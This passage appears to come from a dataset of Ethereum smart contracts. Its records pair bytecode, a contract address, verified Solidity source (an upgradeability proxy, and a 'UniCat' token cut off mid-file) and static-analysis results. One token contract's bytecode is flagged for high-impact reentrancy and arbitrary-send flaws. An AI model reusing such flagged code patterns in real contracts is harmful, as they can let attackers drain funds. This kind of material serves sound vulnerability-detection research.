80fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6005600a81905550600a600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b6014426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576005600a81905550600a600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009443ebcbf0807b2932128d0099281b5ca606854f18b1b25eac40c8cf017edad64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,626
0xbde7bd6a4da5c972532ad8a973deb67d36be8d35
/** *Submitted for verification at Etherscan.io on 2020-10-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } /** * @dev Receive function. * Implemented entirely in `_fallback`. */ receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title AdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override virtual { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } }
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
3,627
0x87c0192B1B81b9550d495558aAc9753972f6db0d
/** * * UniCat token https://t.me/unicattoken * */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, 